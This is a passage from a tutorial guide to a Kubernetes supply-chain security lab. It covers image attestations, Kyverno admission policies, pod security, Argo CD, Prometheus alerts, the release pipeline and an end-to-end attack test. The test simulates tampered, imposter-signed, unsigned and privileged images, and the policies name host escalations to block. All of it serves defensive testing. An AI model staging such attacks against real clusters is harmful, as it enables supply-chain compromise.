chain/.github/workflows/release.yaml@refs/heads/main
IMG=ghcr.io/sufyanahmadkamboh/storefront-api@sha256:<digest from deploy/prod/kustomization.yaml>
tb cosign verify-attestation --type slsaprovenance1 \
  --certificate-identity "$ID" --certificate-oidc-issuer https://token.actions.githubusercontent.com
"$IMG" \
  | tb jq -r '.payload' | base64 -d | tb jq '.predicate'
```

You will see the commit SHA and the run URL: click it in GitHub to see the exact run that built what you are looking at.

Common mistakes

- Checking that an attestation *exists* but not *who signed it*.
- Reading `extractPayload(...).result` instead of `.predicate.result` (the error is "no such key").
- Believing provenance written by the build itself is tamper-proof against a compromised build step. It proves the identity, not the build's isolation.

Check yourself

1. What is the difference between a signature and an attestation?
2. Where in the in-toto statement is the scan result?
3. Why can't the e2e workflow simply sign a fake "clean" vulnerability attestation for a bad image?

Answers

▼ Answers

1. A signature only binds an identity to a digest. An attestation is a signed statement with typed content (provenance, scan, SBOM) about that digest.
2. In `predicate.scanner.result`, inside the statement that `extractPayload` returns.
3. It can create and sign one, but the signature names the e2e workflow identity. The policy only accepts attestations signed by `release.yaml@refs/heads/main`, so the fake report is ignored and the image is refused. The e2e test does exactly this (imposter scenario).

8. Admission control with Kyverno

What is it?

When anything asks the Kubernetes API to create or change an object (a Pod, a Deployment...), the request passes through **admission controllers** before it is stored. **Admission webhooks** let external programs take part: a *mutating* webhook can change the object, a *validating* webhook can accept or refuse it.

Kyverno is a policy engine that runs as such a webhook. You write policies as Kubernetes resources; Kyverno evaluates them on every matching request.

Why this project uses it

It is the **pharmacist** of chapter 0: the single place where every Pod is checked, no matter who or what created it (kubectl, Argo CD, a CronJob, an attacker with a stolen kubeconfig of a normal user).

Alternatives: Sigstore **policy-controller** (only image verification), **OPA Gatekeeper** (Rego language; image verification needs extra work), **Connaisseur**, Kubernetes **ValidatingAdmissionPolicy** (built in, CEL, but no image verification).

How it works

Policy types used here (Kyverno 1.19)

Kind	Language	Used for
ImageValidatingPolicy	CEL + Sigstore verification	signatures and attestations of images
ValidatingPolicy	CEL	allowed registries, digest pinning, pod security

The older `ClusterPolicy` kind is deprecated in 1.19, so this project uses only the new CEL-based kinds.

CEL in two minutes

CEL (Common Expression Language) is a small, safe expression language, also used by Kubernetes itself. Examples from this project: - `object.spec.containers` — the containers of the Pod being checked - `images.all(i, i.startsWith("ghcr.io/..."))` — true if *every* image matches - `has(c.securityContext)` — does the field exist? - `variables.images` — a value defined once in the policy's `variables:` list

mutateDigest and verifyDigest

`mutateDigest: true` rewrites `image: ...:sha-abc` to `image: ...:sha-abc@sha256:...` — the exact content that was verified. Even if the tag moves a second later, the Pod runs what was checked.

Deny vs Audit

`validationActions: [Deny]` refuses violating requests. `[Audit]` lets them through and records the result in a **PolicyReport**. This project uses the same rules in both modes (prod: Deny, sandbox: Audit) via Kustomize.

Policy tests

`kyverno test` evaluates policies against example resources offline, with expected results, so a wrong rule is caught in CI before it reaches a cluster.

Where it is integrated

Three policies in `policies/base/`:

1. `verify-images.yaml` — signature, provenance, scan and SBOM checks (chapters 6 and 7):

```
matchImageReferences:
  - glob: "ghcr.io/sufyanahmadkamboh/storefront-api*"
  ...
validationConfigurations:
  mutatedDigest: true
  verifyDigest: true
  required: true
validations:
  - expression: >-
    images.containers.map(image, verifyImageSignatures(image, [attestors["release-
workflow"]])).all(n, n > 0)
    message: image is not signed by the release workflow of sufyan-devops-secure-supply-chain (main
branch)
```

2. `allowed-images.yaml` — only this repository's images, and digests in workload specs:

```
- expression: >-
  variables.images.all(i, i.startsWith("ghcr.io/sufyanahmadkamboh/storefront-api:")
    || i.startsWith("ghcr.io/sufyanahmadkamboh/storefront-api@"))
  ...
- expression: "object.kind == 'Pod' || variables.images.all(i, i.matches('@sha256:[a-f0-9]{64}$'))"
  message: workloads must reference images by digest (image@sha256:...), not by a movable tag
```

Note the `:` and `@` in the prefix check: without them, a look-alike repository such as `storefront-api-evil` would pass.

3. `pod-security.yaml` — chapter 9.

Both modes come from overlays: `policies/prod/kustomization.yaml` uses the base unchanged (Deny), and `policies/sandbox/kustomization.yaml` patches every policy:

```
nameSuffix: -audit
patches:
  - target:
      group: policies.kyverno.io
    patch: |-
      - op: replace
        path: /spec/validationActions
        value: [Audit]
      - op: replace
        path: /spec/matchConstraints/namespaceSelector/matchLabels
        value:
          supply-chain.sufyan.dev/audit: "true"
```

`allowed-images` also matches Deployments, StatefulSets, DaemonSets and ReplicaSets directly (with `autogen` switched off), so a tag-only Deployment is refused at `kubectl apply` time. The image signature policy matches Pods, the place where an image actually starts.

Namespaces opt in with labels: `supply-chain.sufyan.dev/enforce: "true"` (prod, `deploy/prod/namespace.yaml`) or `supply-chain.sufyan.dev/audit: "true"` (sandbox).

Offline tests: `policies/tests/kyverno-test.yaml` runs the two ValidatingPolicies against `policies/tests/resources.yaml` (a good Deployment, a tag-only one, a foreign registry, a look-alike repository, privileged/root/hostPath/no-limits pods). Signature checks need a registry and Sigstore, so they are tested end to end instead (chapter 13).

Try it

```
scripts/platform-up.sh
source scripts/lib.sh
k get ivpol,vpol
tb kyverno test policies/tests
# a foreign image with a SAFE pod spec, so only Kyverno can object (same shape as the e2e test):
cat <<'EOF' | tb kubectl apply -f -
apiVersion: v1
kind: Pod
metadata: {name: try-foreign, namespace: prod}
spec:
  securityContext: {seccompProfile: {type: RuntimeDefault}}
  containers:
  - name: app
    image: docker.io/library/nginx:1.29
    securityContext:
      runAsNonRoot: true
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      capabilities: {drop: [ALL]}
    resources: {limits: {cpu: 100m, memory: 32Mi}}
EOF
# -> denied: "only ghcr.io/sufyanahmadkamboh/storefront-api images may run here, got:
docker.io/library/nginx:1.29"

# the sandbox has no enforcing label: a plain pod is allowed, and reported
k -n sandbox run nginx --image=docker.io/library/nginx:1.29
k -n sandbox get policyreports -o wide
```

Why the long manifest? The prod namespace also has the built-in Kubernetes Pod Security label `restricted` (chapter 9). A plain `kubectl run` there would be refused by that check first, and you would not see Kyverno's message.

Common mistakes

- Matching images with a glob like `.../storefront-api*` in a registry allowlist: it also matches `storefront-api-evil`.
- Looking for the refusal only on Pods. Kyverno also checks the images in pod controllers, so a bad Deployment is usually refused on `kubectl apply` (or in Argo CD's sync result). If a controller got in some other way, the refusal shows up as a `FailedCreate` event on its ReplicaSet instead.

- Forgetting the Kyverno webhook can be unavailable at start-up; `helm --wait` returns before it serves requests (the platform script retries).
- Writing `extractPayload(...).result` instead of `.predicate.result`.

Check yourself

1. Why does `allowed-images` check `storefront-api:` and `storefront-api@` instead of just `storefront-api`?
2. What does `mutateDigest: true` protect against?
3. If a Deployment uses an unsigned image, does `kubectl apply` of the Deployment fail?

Answers

▼ Answers

1. A plain prefix would also match a look-alike repository such as `ghcr.io/sufyanahmadkamboh/storefront-api-evil`. The tests include exactly that case.
2. Against the tag being moved after verification: the Pod is rewritten to the digest that was verified, so it runs exactly what was checked.
3. Yes, in prod. The image policy also covers pod controllers, so Kyverno refuses the Deployment itself; the e2e test saw exactly this when Argo CD applied a malicious commit. As a second line, any Pod the ReplicaSet tries to create is checked again (`FailedCreate` events), and `allowed-images` refuses Deployments that use tags or foreign registries.

9. Pod security: a trusted image can still be run dangerously

What is it?

A signature proves *what* runs. It says nothing about *how* it runs. The same signed image started as a **privileged** container, as **root**, or with the host's file system mounted can take over the node it runs on.

Kubernetes defines three **Pod Security Standards**:

Level	Meaning
privileged	no restrictions
baseline	blocks the obvious escalations (privileged, host namespaces, hostPath...)
restricted	baseline plus: non-root, no privilege escalation, all capabilities dropped, seccomp profile set

Pod Security Admission (PSA) is built into Kubernetes and enforces one level per namespace through a label such as `pod-security.kubernetes.io/enforce: restricted`.

Why this project uses it

Two layers, on purpose:

1. **PSA restricted** on the prod namespace: built in, cannot be switched off by deleting a Kyverno policy.
2. **The Kyverno policy restricted-pods**: the same ideas, plus rules PSA does not have (read-only root file system, CPU and memory limits), with clear messages, PolicyReports and an audit version for the sandbox.

Alternatives: PSA alone; OPA Gatekeeper's pod security library; Kyverno's own `podSecurity` subrule in the older ClusterPolicy API.

How it works

The settings and what each one blocks:

Setting	Blocks
<code>runAsNonRoot: true</code>	running as UID 0 (root inside the container is a short step from root on the node)
<code>allowPrivilegeEscalation: false</code>	gaining privileges with setuid binaries
<code>privileged: false</code>	full access to the host's devices and kernel
<code>capabilities: {drop: [ALL]}</code>	special kernel powers (raw network, changing file owners...)
<code>readOnlyRootFilesystem: true</code>	dropping and running tools inside the container
<code>seccompProfile: RuntimeDefault</code>	rarely needed, dangerous system calls (PSA restricted demands it)

Setting	Blocks
no <code>hostNetwork</code> , <code>hostPID</code> , <code>hostPath</code>	reaching into the node itself
CPU and memory limits	one pod starving the node

Where it is integrated

The prod namespace, `deploy/prod/namespace.yaml` :

```
labels:
  supply-chain.sufyan.dev/enforce: "true"
  pod-security.kubernetes.io/enforce: restricted
```

The Kyverno policy, `policies/base/pod-security.yaml` (excerpt):

```
- expression: >-
  !has(object.spec.volumes) || object.spec.volumes.all(v, !has(v.hostPath))
  message: hostPath volumes are not allowed
- expression: >-
  variables.containers.all(c, has(c.resources) && has(c.resources.limits)
    && "memory" in c.resources.limits && "cpu" in c.resources.limits)
  message: containers must set CPU and memory limits
```

The application follows all of it, `deploy/base/storefront-api.yaml` :

```
securityContext:
  runAsNonRoot: true
  runAsUser: 65532
  runAsGroup: 65532
  seccompProfile: {type: RuntimeDefault}
containers:
- name: app
  ...
  resources:
    requests: {cpu: 20m, memory: 16Mi}
    limits: {cpu: 200m, memory: 64Mi}
  securityContext:
    runAsNonRoot: true
    allowPrivilegeEscalation: false
    readOnlyRootFilesystem: true
    capabilities: {drop: [ALL]}
```

The same file also turns off the service account token (`automountServiceAccountToken: false` , the app never calls the Kubernetes API) and adds a NetworkPolicy with `egress: []` : the app may receive HTTP but open no outbound connections at all.

The e2e test starts the **trusted, signed image as a privileged container** and expects it to be refused (chapter 13).

Try it

```
source scripts/lib.sh
# PSA warns or refuses before Kyverno even sees the request:
k -n prod run root-shell --image=docker.io/library/busybox:1.37 -- sleep 3600
# offline: the policy tests contain privileged, root, hostPath and no-limits pods
tb kyverno test policies/tests
grep -n "metadata:" policies/tests/resources.yaml # privileged-pod, root-pod, hostpath-pod, no-limits-pod...
```

Common mistakes

- Thinking image signing makes pod settings irrelevant.
- Setting `runAsNonRoot: true` with an image whose user is root: the pod fails to start (`CreateContainerConfigError`). The distroless `nonroot` base uses UID 65532, which matches `runAsUser` here.
- Forgetting `seccompProfile: RuntimeDefault: PSA restricted` refuses the pod even when everything else is right.
- `readOnlyRootFilesystem: true` for an app that writes temp files: mount an `emptyDir` at `/tmp` instead of turning the setting off.

Check yourself

1. Why keep PSA if Kyverno already checks the same things?
2. Which pod setting is needed by PSA `restricted` but easy to forget?
3. Why does the app's NetworkPolicy have `egress: []`?

Answers

▼ Answers

1. Defence in depth: PSA is built into the API server and keeps working if the Kyverno policies are deleted or the webhook is down with `failurePolicy: Ignore`. Kyverno adds the rules PSA lacks (read-only root, limits) and reporting.
2. `seccompProfile: {type: RuntimeDefault}` (at pod or container level).
3. The app needs no outbound connections. If it were compromised, it could not download tools or send data out.

10. GitOps with Argo CD

What is it?

GitOps means: the desired state of the cluster lives in a git repository, and a controller inside the cluster keeps the cluster equal to git. Nobody runs `kubectl apply` against production by hand; changes are commits, reviewed and recorded.

Argo CD is the most widely used GitOps controller. You describe an **Application** (which repo, which path, which branch, which namespace), and Argo CD **syncs** it: it renders the manifests (here with Kustomize) and applies the difference.

Why this project uses it

- Every production change is a git commit: who, when, what, and an easy rollback (`git revert`).
- The release pipeline does not need cluster credentials. It only commits a digest; Argo CD pulls from inside.
- It is a realistic attack path to test: **someone who can write to the deploy folder** can make Argo CD apply anything.

The key design point: **Argo CD is not trusted with security decisions**. Whatever it applies still goes through Kyverno admission. A malicious commit is synced, and its pods are refused.

Alternatives: Flux CD (also CNCF graduated, more "toolkit" style), push-based deploys from CI with `kubectl` /Helm (the CI then needs cluster credentials), Rancher Fleet.

How it works

1. Argo CD polls the repository (about every 3 minutes by default) or is told to refresh.
2. It renders `deploy/prod` with Kustomize and compares it with the live objects: **Synced** or **OutOfSync**.
3. With `automated sync`, it applies the difference. `prune: true` deletes objects removed from git; `selfHeal: true` undoes manual changes in the cluster.
4. It reports **health** (are the Deployments rolled out?) separately from sync status.

Why old pods keep serving during an attack

The Deployment uses `maxUnavailable: 0, maxSurge: 1`. Kubernetes first creates a new pod and removes an old one only when the new one is ready. If Kyverno refuses the new pod, it never exists, so **no old pod is removed**. Production keeps serving the trusted version while the rollout is stuck.

Where it is integrated

`platform/argocd/application.yaml` :

```
spec:
  project: default
  source:
    repoURL: https://github.com/sufyanahmadkamboh/sufyan-devops-secure-supply-chain.git
    targetRevision: main
    path: deploy/prod
  destination:
    server: https://kubernetes.default.svc
    namespace: prod
  syncPolicy:
    automated:
      prune: true
      selfHeal: true
```

What it deploys, `deploy/prod/kustomization.yaml`: the base plus one exact digest, written by the release workflow's `promote` job:

```
images:
- name: ghcr.io/sufyanahmadkamboh/storefront-api
  digest: sha256:0000000000000000000000000000000000000000000000000000000000000000
```

(The all-zero value is the placeholder in the repository until the first release is promoted.)

The rollout strategy, `deploy/base/storefront-api.yaml`:

```
strategy:
  type: RollingUpdate
  rollingUpdate: {maxUnavailable: 0, maxSurge: 1}
```

`scripts/platform-up.sh` installs Argo CD and lets the e2e test point the Application at a temporary branch (`ARGO_REVISION`), so the attack test never touches `main`:

```
sed "s|targetRevision: main|targetRevision: $ARGO_REVISION|" platform/argocd/application.yaml | tb
kubectl apply -f - >/dev/null
```

Try it

```
source scripts/lib.sh
k -n argocd get applications
k -n argocd get application storefront-api -o jsonpath='{.status.sync.status} {.status.health.status}'
{"\n"}
# force an immediate refresh instead of waiting for the poll:
k -n argocd annotate application storefront-api argocd.argoproj.io/refresh=hard --overwrite
# what exactly runs in prod (always a digest):
k -n prod get pods -o jsonpath='{..image}'; echo
```

If the digest in `deploy/prod/kustomization.yaml` is still the all-zero placeholder, the Application stays unhealthy: there is no such image. That is expected in a fresh fork before the first release.

Common mistakes

- Treating the GitOps controller as a security boundary. Anyone with write access to the deploy folder controls what Argo CD applies; admission control is what stops a bad commit.
- `maxUnavailable` above 0 for important services: a blocked rollout would then remove healthy pods.
- Using tags in the GitOps folder: the cluster could run different content without any commit.
- Fixing production with `kubectl edit : selfHeal` undoes it, and the change is not reviewed.

Check yourself

1. A malicious commit changes the prod digest to a tampered image. What do Argo CD and Kyverno each do?
2. Why does production keep serving during that attack?
3. How do you roll back a bad release in this project?

Answers

▼ Answers

1. Argo CD applies the commit: it tries to update the Deployment. Kyverno refuses that update because the image is not signed by the release workflow, so the sync fails with the policy message in Argo CD's sync result, and the alert `UntrustedWorkloadBlocked` fires. The old Deployment and its pods stay as they were.
2. The Deployment update itself was refused, so nothing changed in the cluster. Even if a new ReplicaSet were created some other way, `maxUnavailable: 0` keeps old pods until new ones are ready, and the new ones would never be admitted.
3. `git revert the deploy: storefront-api <digest> commit`. Argo CD deploys the previous digest, which is still signed and verifiable.

11. Monitoring: Prometheus alerts and a Grafana dashboard

What is it?

- **Prometheus** collects numeric **metrics** from programs over HTTP (it *scrapes* a `/metrics` page every few seconds), stores them as time series, and evaluates **alert rules** written in **PromQL**.
- **Grafana** draws dashboards from those metrics.
- **promtool** is Prometheus's command-line tool. `promtool test rules` runs **unit tests for alerts**: given fake input series, which alerts must fire, with which labels and text.

Why this project uses it

A blocked attack that nobody notices is only half a defence. Somebody pushed an unsigned image, or committed a bad digest: the team must know *now*. And a running image that becomes vulnerable must page someone, not wait for the next release.

Alternatives: kube-prometheus-stack (Prometheus Operator, Alertmanager, many default rules; heavier), Datadog / Grafana Cloud / New Relic agents, Kyverno's own PolicyReports viewed with Policy Reporter.

How it works

Three sources are scraped (`platform/monitoring/prometheus.yaml`):

Job	Metrics used
kyverno-admission	kyverno_admission_requests_total (label request_allowed), kyverno_image_validating_policy_results_total , kyverno_admission_review_duration_seconds
kyverno-reports	report controller health
trivy-operator	trivy_image_vulnerabilities (labels namespace , image_repository , severity ...)

Some PromQL you need: - `increase(counter[10m])` — how much a counter grew in 10 minutes. - `sum by (label) (...)` — add series together, keep one series per value of `label`. - `absent(expr)` — returns 1 when the expression has no result (used to detect a missing target). - `for: 5m` — the condition must hold for 5 minutes before the alert fires (avoids noise).

Where it is integrated

The alert rules, `platform/monitoring/rules.yaml` :

```

- alert: UntrustedWorkloadBlocked
  expr: >-
    sum by (resource_namespace, resource_kind) (
      (
        (kyverno_admission_requests_total{request_allowed="false", resource_namespace="prod"}
          unless kyverno_admission_requests_total{request_allowed="false",
resource_namespace="prod"} offset 10m) * 1
          and on () (time() - process_start_time_seconds{job="prometheus"} > 600)
        )
      or
        increase(kyverno_admission_requests_total{request_allowed="false",
resource_namespace="prod"}[10m])
      ) > 0
    labels:
      severity: critical

```

Read it from the bottom up: - `increase(...[10m])` is the main part: how many refusals happened in the last 10 minutes. - The first part covers a gap found while testing this project. Kyverno creates a counter only when the first refusal of a kind happens, and the counter starts at that value (for example 3), with no earlier 0. `increase()` needs two samples to see growth, so those first refusals would be invisible. `X unless X offset 10m` keeps only counters that did not exist 10 minutes ago, and counts them with their full value. `* 1` drops the metric name so `or` can line them up with `increase()`'s results. - There is no `request_webhook` filter on purpose. `verify-release-images` also rewrites the image to its digest, so Kyverno runs it in the *mutating* phase, and a missing or wrong signature is refused there (`request_webhook="MutatingWebhookConfiguration"`). `allowed-images` and `restricted-pods` refuse in the *validating* phase. A request is refused in one phase only, so summing both counts each refusal once. An earlier version counted only the validating phase and missed exactly the unsigned and imposter images; the local dashboard demo showed 10 refusals where 19 had happened. - `and on () (time() - process_start_time_seconds... > 600)` switches that first part off for Prometheus' first 10 minutes. Its storage is not persistent here, so after a restart every counter "did not exist 10 minutes ago", and the alert would fire for old refusals.

```

- alert: AdmissionControllerDown
  expr: absent(up{job="kyverno-admission"} == 1)
  for: 5m

```

`RunningImageHasCriticalVulnerabilities` was shown in chapter 5.

Why no `for:` on `UntrustedWorkloadBlocked` ? In a healthy pipeline nothing is ever refused in prod, so even one refusal is worth a page.

The tests, `tests/prometheus/rules.test.yaml` : refusals in prod make the alert fire; refusals in sandbox and allowed requests do not:

```

- series:
  'kyverno_admission_requests_total{request_allowed="false",request_webhook="ValidatingWebhookConfiguratio
n",resource_kind="Pod",resource_namespace="prod",resource_request_operation="create"}'
  values: "0 0 1 2 2"
- series:
  'kyverno_admission_requests_total{request_allowed="false",request_webhook="ValidatingWebhookConfiguratio
n",resource_kind="Pod",resource_namespace="sandbox",resource_request_operation="create"}'
  values: "0 5 10 15 20"

```

They run in CI ([.github/workflows/ci.yaml](#)):

```
docker run --rm -v "$PWD:/w" -w /w/tests/prometheus --entrypoint promtool prom/prometheus:v3.15.0 test
rules rules.test.yaml
```

A detail learned the hard way: the Trivy Operator Service is **headless** (no cluster IP), so its DNS name returns the pod IP directly and Prometheus must use the container port 8080:

```
- job_name: trivy-operator
  static_configs:
    # headless service: DNS returns the pod IP, so use the container port
    - targets: ["trivy-operator.trivy-system.svc:8080"]
```

The dashboard, [platform/monitoring/dashboard.json](#), "Software supply chain: what runs and why", answers three questions top to bottom: *Is production running only trusted code?* (blocked in prod, signature checks, running images with CRITICAL CVEs, firing alerts), *what was refused and where*, and *is the admission controller healthy and fast* (p95 latency of admission reviews and of image policy execution).

Try it

```
# alert unit tests, no cluster needed
docker run --rm -v "$PWD:/w" -w /w/tests/prometheus --entrypoint promtool prom/prometheus:v3.15.0 test
rules rules.test.yaml

# with the lab running: which alerts fire?
source scripts/lib.sh
k -n monitoring exec deploy/prometheus -- wget -qO- 'http://localhost:9090/api/v1/alerts' | tb jq
'.data.alerts[] | {alert: .labels.alertname, state}'

# open Grafana in your browser (anonymous viewer) at http://localhost:3000
docker run --rm -it --network kind -p 3000:3000 -v "$ROOT_NATIVE/.lab:/lab" -e
KUBECONFIG=/lab/kubeconfig \
"$TOOLBOX_IMAGE" kubectl -n monitoring port-forward --address 0.0.0.0 svc/grafana 3000:3000
```

Common mistakes

- Alerting on `kyverno_admission_requests_total` without `increase()`: a counter never goes down, so the alert would fire forever after the first refusal.
- Filtering a "refused" counter by webhook phase without checking which phase each policy refuses in.
- Relying on `increase()` alone for rare events: a counter that is created already above 0 shows no increase, so the very first refusals are missed. The promtool tests include exactly this case (`values: " _ _ 3 3 3"`, where `_` means "no sample yet").
- Counting refusals in every namespace: the sandbox and test namespaces would page people all day.
- Alert rules without tests: a typo in a label name means the alert silently never fires.
- `absent()` on the wrong job name: the "controller down" alert fires constantly, or never.

Check yourself

- Why does `UntrustedWorkloadBlocked` use `increase(...[10m])` instead of the raw counter?
- What does the promtool test prove for the sandbox series?
- Why does Prometheus scrape Trivy Operator on port 8080 instead of the Service port?

Answers

▼ Answers

1. The counter only ever grows. `increase` over 10 minutes is above 0 only while refusals are recent, so the alert also resolves on its own.
2. That refusals in the sandbox (audit namespace) do not trigger the prod alert, even when they are frequent.
3. The Service is headless: its DNS name resolves straight to the pod IP, where only the container port (8080) is listening. There is no Service port translation.

12. The release pipeline, step by step

What is it?

Two workflows do all the work in GitHub Actions:

Workflow	Runs on	Job
<code>ci.yaml</code>	every pull request and push	static checks: the workflows themselves, Go code, shell scripts, Dockerfiles, manifests, policies, alert rules
<code>release.yaml</code>	push to <code>main</code> (relevant paths)	build, scan, push, SBOM, sign, attest, verify, attack test , promote

The third file, `e2e.yaml`, is a **reusable workflow** called by `release.yaml` (chapter 13).

Why it is built this way

- **Gate before publish.** The vulnerability gate runs before the push: a bad image never reaches the registry.
- **Everything about one digest.** After the push, every step (SBOM, scan report, provenance, signature) refers to `${IMAGE}@${DIGEST}`, never to a tag.
- **Verify what you published.** The job checks its own output with the same identity rule the cluster uses, so a broken signing step fails here, not in production.
- **Attack test before promote.** A change that weakens the defences (a broken policy, a wrong identity) is caught before the digest reaches `deploy/prod`.
- **Least privilege per job.** `permissions: {}` at the top; each job asks only for what it needs.

How it works

```

push to main
|
v
build (contents: read, packages: write, id-token: write)
  checkout (no credentials kept)
  install cosign, syft, trivy by checksum
  docker build (unit tests run inside the build stage)
  trivy gate: no fixable CRITICAL/HIGH --> fail = stop
  push, read back the digest
  SBOM (syft), scan report (trivy), provenance (script)
  cosign sign + 3 x cosign attest (keyless)
  cosign verify + verify-attestation (release identity)
  upload "supply-chain-evidence" artifact
  |
  v
e2e (reusable e2e.yaml: kind cluster + attack scenarios) --> fail = stop
|
v
promote (contents: write)
  sed the digest into deploy/prod/kustomization.yaml, commit, push
  |
  v
Argo CD syncs prod; Kyverno verifies the pods

```

Where it is integrated

Top of `release.yaml`:

```

permissions: {}

concurrency:
  group: release
  cancel-in-progress: false

```

`cancel-in-progress: false`: a release that already signed and is in its attack test is never killed halfway by the next push.

The build job's permissions, each with its reason:

```

permissions:
  contents: read
  packages: write # push the image and its signatures to GHCR
  id-token: write # keyless signing: GitHub OIDC token -> Fulcio certificate

```

Getting the digest from the push (never trust the tag afterwards):

```

docker push --quiet "${IMAGE}:sha-${GITHUB_SHA:~12}"
ref="$(docker inspect --format '{{index .RepoDigests 0}}' "${IMAGE}:sha-${GITHUB_SHA:~12}")"
echo "digest=${ref##*@}" >> "$GITHUB_OUTPUT"

```

The promote job, which only runs when `build` and `e2e` both succeeded:

```

promote:
  name: Promote to production (GitOps)
  needs: [build, e2e]
  ...
  run: |
    sed -i -E "s|(    digest: )sha256:[a-f0-9]{64}|\1${DIGEST}|" deploy/prod/kustomization.yaml
    git diff --quiet && { echo "already deployed"; exit 0; }
    ...
    git commit -am "deploy: storefront-api ${DIGEST:7:12}"
    git push origin HEAD:main

```

Note the `paths:` filter on the trigger: changes to `deploy/prod` are **not** in it. The promote commit therefore does not start a new release (no loop).

Tools come from `scripts/ci/install-tools.sh`, which downloads pinned versions and checks their SHA-256 checksums, instead of using third-party "setup" actions (chapter 3).

Try it

You cannot sign as `release.yaml@main` from your laptop (that is the point). What you can do:

```

# read the pipeline order and permissions
grep -nE "^  [a-z]+:|permissions|needs:|id-token" .github/workflows/release.yaml
# run the same static checks CI runs
scripts/ci/check-pinned-actions.sh
docker build -q -t ssc-toolbox:dev tools/toolbox
docker run --rm -v "$PWD:/work" -w /work ssc-toolbox:dev kyverno test policies/tests
# in a fork: push to main and open the Actions tab; the "supply-chain-evidence" artifact holds the SBOM,
scan and provenance

```

Common mistakes

- Pushing first and scanning later: a vulnerable image is already published and could be pulled.
- Signing `image:tag`: what you signed and what you deploy can differ.
- Giving `id-token: write` or `contents: write` to the whole workflow instead of the jobs that need them.
- Letting the deploy commit re-trigger the release (endless loop), or letting a newer push cancel a half-finished release.

Check yourself

1. Why does the Trivy gate run before `docker push`?
2. Which job has `contents: write`, and why only that one (plus e2e)?
3. What prevents the promote commit from starting another release?

Answers

▼ Answers

1. So that an image with fixable CRITICAL or HIGH vulnerabilities never reaches the registry, where someone could pull or deploy it.

2. `promote` (to commit the new digest to `deploy/prod`) and `e2e` (to push a temporary GitOps branch). `build` only reads the code; it cannot change the repository even if a build step were compromised.
3. The `paths:` filter on the `push` trigger does not include any path under `deploy/prod/` , so a commit that only changes the digest does not match.

13. The end-to-end attack test

What is it?

`scripts/e2e.sh` builds the whole platform on a throwaway kind cluster inside GitHub Actions, deploys the freshly signed release through GitOps, and then **attacks it**: the way real attackers would, with real images in the real registry and real Sigstore signatures. Every scenario must end the expected way (blocked, or admitted for the control case), otherwise the release stops before promotion.

It runs as the reusable workflow `.github/workflows/e2e.yaml`, called by `release.yaml` with the new digest.

Why it exists

Policies that "look right" are not evidence. A typo in an identity, an attestation type that Kyverno cannot find, or a signature format it does not read would make every check silently fail open or closed. The only proof is to try the attacks against a real cluster with the real policies, on every release.

The results file (`reports/e2e-results.md`) and the measured times are recorded as evidence; see [docs/test-results.md](#) for the published results. This guide does not repeat any numbers.

How it works: the six sections

#	Section	What happens	Expected
1	Platform	temporary GitOps branch with the new digest; <code>platform-up.sh</code> with <code>ARGO_REVISION</code> = that branch	everything installed
2	Legitimate release	Argo CD syncs the signed digest	2/2 pods run the verified digest; the service answers <code>/version</code>
3	Attacks at admission	see the table below	each attack blocked, control admitted
4	Attack through GitOps	commit the tampered digest to the branch	Argo CD applies it, Kyverno refuses the pods, old pods keep serving; revert syncs again
5	Sandbox	unsigned image and <code>nginx:1.21.0</code> in the audit namespace	allowed, listed in PolicyReports; Trivy Operator finds CRITICAL CVEs; the alert fires
6	Monitoring	read Prometheus alerts	<code>UntrustedWorkloadBlocked</code> firing, <code>AdmissionControllerDown</code> not firing

Section 3 in detail

Scenario	How it is built	Which check stops it
foreign registry	<code>docker.io/library/nginx:1.29</code>	<code>allowed-images</code>
unsigned image in our repository	<code>crane copy busybox</code> into <code>storefront-api</code> (simulates a stolen registry token)	no signature

Scenario	How it is built	Which check stops it
tampered image	<code>crane append</code> a "backdoor" layer onto the trusted image: new digest, same name	no signature for that digest
imposter	the tampered image, really signed by <code>e2e.yaml</code> , with forged provenance (builder and path edited to say <code>release.yaml</code>) and a fake "clean" scan	wrong certificate identity
privileged trusted image	the real signed image, <code>privileged: true</code>	<code>restricted-pods</code> (and PSA)
control	the real signed image, safe spec	must be admitted

Why the imposter is the important one: it proves the identity check, not just "is there a signature". The script first confirms the signature is real and names `e2e.yaml`:

```
subject="$(cosign verify --certificate-identity-regexp '.*' --certificate-oidc-issuer
https://token.actions.githubusercontent.com "$TAMPERED" 2>/dev/null \
| jq -r '.[0].optional.Subject')"
```

```
if [[ "$subject" == */.github/workflows/e2e.yaml@"*" ]]; then
    pass "imposter image carries a VALID Sigstore signature, identity: $subject"
```

(Here `--certificate-identity-regexp '.*'` is used on purpose, only to *read* the identity. Never use it to *trust* one.)

Then it expects the cluster to refuse it:

```
expect_denied "tampered image signed by an imposter workflow with forged provenance" attack-imposter
"$TAMPERED"
expect_denied "trusted image started as a privileged container" attack-privileged "$TRUSTED" true
```

That is why `e2e.yaml` is a separate file (architecture decision 13): its jobs get a *different* certificate identity, which makes the imposter scenario possible without any trick.

Every attack pod has a safe spec

`try_deploy` builds a pod that satisfies PSA `restricted` (non-root, seccomp, dropped capabilities, limits). Only the image (or `privileged`) changes. A refusal therefore really comes from the supply-chain rule being tested, not from an unrelated pod-security setting.

Cleanup

`scripts/e2e-cleanup.sh` runs with `if: always()`: it deletes the temporary branch and the attacker image versions (tags `e2e-*`) from GHCR. On failure, `scripts/diagnostics.sh` prints pods, prod events, the Argo CD Application, the policies and Kyverno errors.

Try it

The full test needs a GitHub OIDC token, so it runs in Actions:

```
# in your fork, Actions tab -> "e2e" -> Run workflow, with the digest from
deploy/prod/kustomization.yaml
# or locally, read it section by section:
grep -n "^s[1-6]()\\|expect_denied\\|pass \\\\" scripts/e2e.sh
```

Locally, the parts that need no signing can be replayed after `scripts/platform-up.sh`: the foreign-registry pod (chapter 8), the privileged pod (chapter 9), the sandbox scan (chapter 5).

`E2E_FROM=4 scripts/e2e.sh` resumes from section 4 when debugging a run.

Common mistakes

- Testing only "the good image works". Without attack cases, a policy that admits everything also passes.
- Attack pods with an unsafe spec: they are refused by PSA, and the test looks green for the wrong reason.
- An imposter "signature" that silently failed to be created: then "blocked" proves nothing. The script asserts the signature exists first.
- Leaving attacker images and branches behind.

Check yourself

1. Why does the script verify the imposter's signature before expecting a refusal?
2. Why must the control case be admitted?
3. What would break if the e2e test lived as a job inside `release.yaml` instead of in `e2e.yaml`?

Answers

▼ Answers

1. If signing had silently failed, the image would be refused simply for being unsigned, and the test would not prove that a *validly signed image from the wrong workflow* is refused.
2. Otherwise a policy that refuses everything would pass all attack cases. The control proves the defences are precise, not just closed.
